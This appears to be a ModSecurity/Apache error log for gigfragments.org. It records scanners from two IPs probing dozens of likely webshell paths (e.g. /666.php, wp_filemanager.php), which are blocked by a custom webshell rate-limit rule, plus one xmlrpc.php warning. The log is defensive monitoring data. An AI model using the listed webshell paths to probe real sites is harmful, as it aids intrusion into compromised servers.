[Thu Feb 26 21:20:54.159488 2026] [:error] [pid 55051:tid 55065] [client 20.63.98.207:57226] [client 20.63.98.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBItgmK1w2kZvh5eLGtyAAAAIs"]
[Thu Feb 26 21:20:54.466882 2026] [:error] [pid 44444:tid 44455] [client 50.6.7.129:52800] [client 50.6.7.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.7.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBItm2sMNmj-yekUk0iHgAAAgU"]
[Thu Feb 26 21:20:54.584068 2026] [:error] [pid 55618:tid 55641] [client 20.63.98.207:35596] [client 20.63.98.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBIth61Vrh12f_8oWQMAgAAARQ"]
[Thu Feb 26 21:20:55.013468 2026] [:error] [pid 55618:tid 55645] [client 20.63.98.207:35641] [client 20.63.98.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBItx61Vrh12f_8oWQMBQAAARg"]
[Thu Feb 26 21:20:55.428749 2026] [:error] [pid 55051:tid 55056] [client 20.63.98.207:57275] [client 20.63.98.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBItwmK1w2kZvh5eLGtzgAAAII"]
[Thu Feb 26 21:21:41.991934 2026] [:error] [pid 44444:tid 44474] [client 20.220.189.106:4075] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaBI5W2sMNmj-yekUk0irQAAAhg"]
[Thu Feb 26 21:21:42.426184 2026] [:error] [pid 54991:tid 55036] [client 20.220.189.106:4061] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaBI5t4Zx-mJ8gbRB2jnUwAAAFA"]
[Thu Feb 26 21:21:43.094916 2026] [:error] [pid 20419:tid 20446] [client 20.220.189.106:4064] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaBI5-3DVDvMfTYYUBVW5wAAAdg"]
[Thu Feb 26 21:21:43.527456 2026] [:error] [pid 44444:tid 44473] [client 20.220.189.106:4049] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaBI522sMNmj-yekUk0isQAAAhc"]
[Thu Feb 26 21:21:43.939593 2026] [:error] [pid 44444:tid 44458] [client 20.220.189.106:3974] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaBI522sMNmj-yekUk0itwAAAgg"]
[Thu Feb 26 21:21:44.354185 2026] [:error] [pid 44444:tid 44464] [client 20.220.189.106:4036] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaBI6G2sMNmj-yekUk0iuwAAAg4"]
[Thu Feb 26 21:21:44.774596 2026] [:error] [pid 44444:tid 44450] [client 20.220.189.106:4082] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaBI6G2sMNmj-yekUk0ivgAAAgA"]
[Thu Feb 26 21:21:45.202257 2026] [:error] [pid 44444:tid 44460] [client 20.220.189.106:4068] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aaBI6W2sMNmj-yekUk0iwwAAAgo"]
[Thu Feb 26 21:21:45.670255 2026] [:error] [pid 55051:tid 55074] [client 20.220.189.106:4073] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBI6QmK1w2kZvh5eLGuPAAAAJQ"]
[Thu Feb 26 21:21:46.084113 2026] [:error] [pid 55051:tid 55065] [client 20.220.189.106:3988] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBI6gmK1w2kZvh5eLGuQgAAAIs"]
[Thu Feb 26 21:21:46.521828 2026] [:error] [pid 3883:tid 3892] [client 20.220.189.106:4052] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBI6uA33x90V6yYHajp2QAAAUY"]
[Thu Feb 26 21:21:46.937274 2026] [:error] [pid 55618:tid 55637] [client 20.220.189.106:4081] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBI6h61Vrh12f_8oWQMKQAAARA"]
[Thu Feb 26 21:21:47.362015 2026] [:error] [pid 20419:tid 20431] [client 20.220.189.106:4077] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaBI6-3DVDvMfTYYUBVW6wAAAck"]
[Thu Feb 26 21:21:47.781216 2026] [:error] [pid 20419:tid 20432] [client 20.220.189.106:4032] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaBI6-3DVDvMfTYYUBVW7QAAAco"]
[Thu Feb 26 21:21:48.216538 2026] [:error] [pid 44444:tid 44470] [client 20.220.189.106:4085] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaBI7G2sMNmj-yekUk0iygAAAhQ"]
[Thu Feb 26 21:21:48.641819 2026] [:error] [pid 20419:tid 20440] [client 20.220.189.106:3979] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaBI7O3DVDvMfTYYUBVW9gAAAdI"]
[Thu Feb 26 21:21:49.108669 2026] [:error] [pid 20419:tid 20428] [client 20.220.189.106:4058] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBI7e3DVDvMfTYYUBVW-QAAAcY"]
[Thu Feb 26 21:21:49.561165 2026] [:error] [pid 55051:tid 55054] [client 20.220.189.106:4035] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBI7QmK1w2kZvh5eLGuWAAAAIA"]
[Thu Feb 26 21:21:49.984261 2026] [:error] [pid 44444:tid 44463] [client 20.220.189.106:3978] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBI7W2sMNmj-yekUk0izwAAAg0"]
[Thu Feb 26 21:21:50.461563 2026] [:error] [pid 44444:tid 44454] [client 20.220.189.106:4069] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBI7m2sMNmj-yekUk0i0wAAAgQ"]
[Thu Feb 26 21:21:50.882116 2026] [:error] [pid 20419:tid 20442] [client 20.220.189.106:3984] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBI7u3DVDvMfTYYUBVW-gAAAdQ"]
[Thu Feb 26 21:21:51.356130 2026] [:error] [pid 55051:tid 55072] [client 20.220.189.106:4086] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBI7wmK1w2kZvh5eLGuYgAAAJI"]
[Thu Feb 26 21:21:51.776476 2026] [:error] [pid 55051:tid 55069] [client 20.220.189.106:4063] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBI7wmK1w2kZvh5eLGuZgAAAI8"]
[Thu Feb 26 21:21:52.216405 2026] [:error] [pid 20419:tid 20439] [client 20.220.189.106:3928] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aaBI8O3DVDvMfTYYUBVW_gAAAdE"]
[Thu Feb 26 21:21:52.628788 2026] [:error] [pid 20419:tid 20431] [client 20.220.189.106:4045] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaBI8O3DVDvMfTYYUBVXAgAAAck"]
[Thu Feb 26 21:21:53.055008 2026] [:error] [pid 54991:tid 55021] [client 20.220.189.106:4040] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaBI8d4Zx-mJ8gbRB2jnYgAAAEE"]
[Thu Feb 26 21:21:53.466759 2026] [:error] [pid 20419:tid 20436] [client 20.220.189.106:3968] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaBI8e3DVDvMfTYYUBVXBAAAAc4"]
[Thu Feb 26 21:21:53.877291 2026] [:error] [pid 44444:tid 44465] [client 20.220.189.106:4037] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aaBI8W2sMNmj-yekUk0i3QAAAg8"]
[Thu Feb 26 21:21:54.331795 2026] [:error] [pid 3883:tid 3896] [client 20.220.189.106:3914] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pouhg.php"] [unique_id "aaBI8uA33x90V6yYHajp3QAAAUo"]
[Thu Feb 26 21:21:54.750001 2026] [:error] [pid 54991:tid 55039] [client 20.220.189.106:4071] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pouhg.php"] [unique_id "aaBI8t4Zx-mJ8gbRB2jnawAAAFM"]
[Thu Feb 26 21:21:55.193452 2026] [:error] [pid 20419:tid 20428] [client 20.220.189.106:3983] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pouhg.php"] [unique_id "aaBI8-3DVDvMfTYYUBVXCwAAAcY"]
[Thu Feb 26 21:21:55.610184 2026] [:error] [pid 54991:tid 55033] [client 20.220.189.106:3973] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pouhg.php"] [unique_id "aaBI894Zx-mJ8gbRB2jncgAAAE0"]
[Thu Feb 26 21:21:56.042359 2026] [:error] [pid 20419:tid 20434] [client 20.220.189.106:3980] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBI9O3DVDvMfTYYUBVXDQAAAcw"]
[Thu Feb 26 21:21:56.473708 2026] [:error] [pid 54990:tid 55012] [client 20.220.189.106:4057] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBI9Htr2qmt_mBhH2wo_wAAABM"]
[Thu Feb 26 21:21:56.920489 2026] [:error] [pid 54990:tid 54996] [client 20.220.189.106:3909] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBI9Htr2qmt_mBhH2wpAgAAAAM"]
[Thu Feb 26 21:21:57.332345 2026] [:error] [pid 20419:tid 20442] [client 20.220.189.106:4042] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBI9e3DVDvMfTYYUBVXEAAAAdQ"]
[Thu Feb 26 21:21:57.747932 2026] [:error] [pid 54991:tid 55021] [client 20.220.189.106:4047] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaBI9d4Zx-mJ8gbRB2jncwAAAEE"]
[Thu Feb 26 21:21:58.172924 2026] [:error] [pid 55618:tid 55622] [client 20.220.189.106:3987] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaBI9h61Vrh12f_8oWQMMgAAAQE"]
[Thu Feb 26 21:21:58.589474 2026] [:error] [pid 44444:tid 44466] [client 20.220.189.106:4053] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaBI9m2sMNmj-yekUk0i5wAAAhA"]
[Thu Feb 26 21:21:59.011285 2026] [:error] [pid 55122:tid 55143] [client 20.220.189.106:4088] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aaBI94LiR0OfjFxvcN8vwwAAANM"]
[Thu Feb 26 21:21:59.516160 2026] [:error] [pid 20419:tid 20446] [client 20.220.189.106:4091] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaBI9-3DVDvMfTYYUBVXJgAAAdg"]
[Thu Feb 26 21:21:59.938862 2026] [:error] [pid 44444:tid 44465] [client 20.220.189.106:4092] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaBI922sMNmj-yekUk0i7wAAAg8"]
[Thu Feb 26 21:22:00.389086 2026] [:error] [pid 44444:tid 44464] [client 20.220.189.106:4014] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaBI-G2sMNmj-yekUk0i9QAAAg4"]
[Thu Feb 26 21:22:00.834269 2026] [:error] [pid 54991:tid 55030] [client 20.220.189.106:3997] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaBI-N4Zx-mJ8gbRB2jneQAAAEo"]
[Thu Feb 26 21:22:01.290379 2026] [:error] [pid 20419:tid 20434] [client 20.220.189.106:3910] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBI-e3DVDvMfTYYUBVXOwAAAcw"]
[Thu Feb 26 21:22:01.712675 2026] [:error] [pid 20419:tid 20435] [client 20.220.189.106:3907] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBI-e3DVDvMfTYYUBVXQAAAAc0"]
[Thu Feb 26 21:22:02.132842 2026] [:error] [pid 55618:tid 55644] [client 20.220.189.106:4055] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBI-h61Vrh12f_8oWQMNwAAARc"]
[Thu Feb 26 21:22:02.565618 2026] [:error] [pid 55122:tid 55141] [client 20.220.189.106:4076] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBI-oLiR0OfjFxvcN8vzQAAANE"]
[Thu Feb 26 21:22:03.027995 2026] [:error] [pid 55618:tid 55645] [client 20.220.189.106:4066] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaBI-x61Vrh12f_8oWQMOgAAARg"]
[Thu Feb 26 21:22:03.520207 2026] [:error] [pid 25311:tid 25334] [client 20.220.189.106:4013] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaBI-9fdM__yZAgJFSvicgAAAZQ"]
[Thu Feb 26 21:22:03.951980 2026] [:error] [pid 3883:tid 3886] [client 20.220.189.106:3975] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aaBI--A33x90V6yYHajp4AAAAUA"]
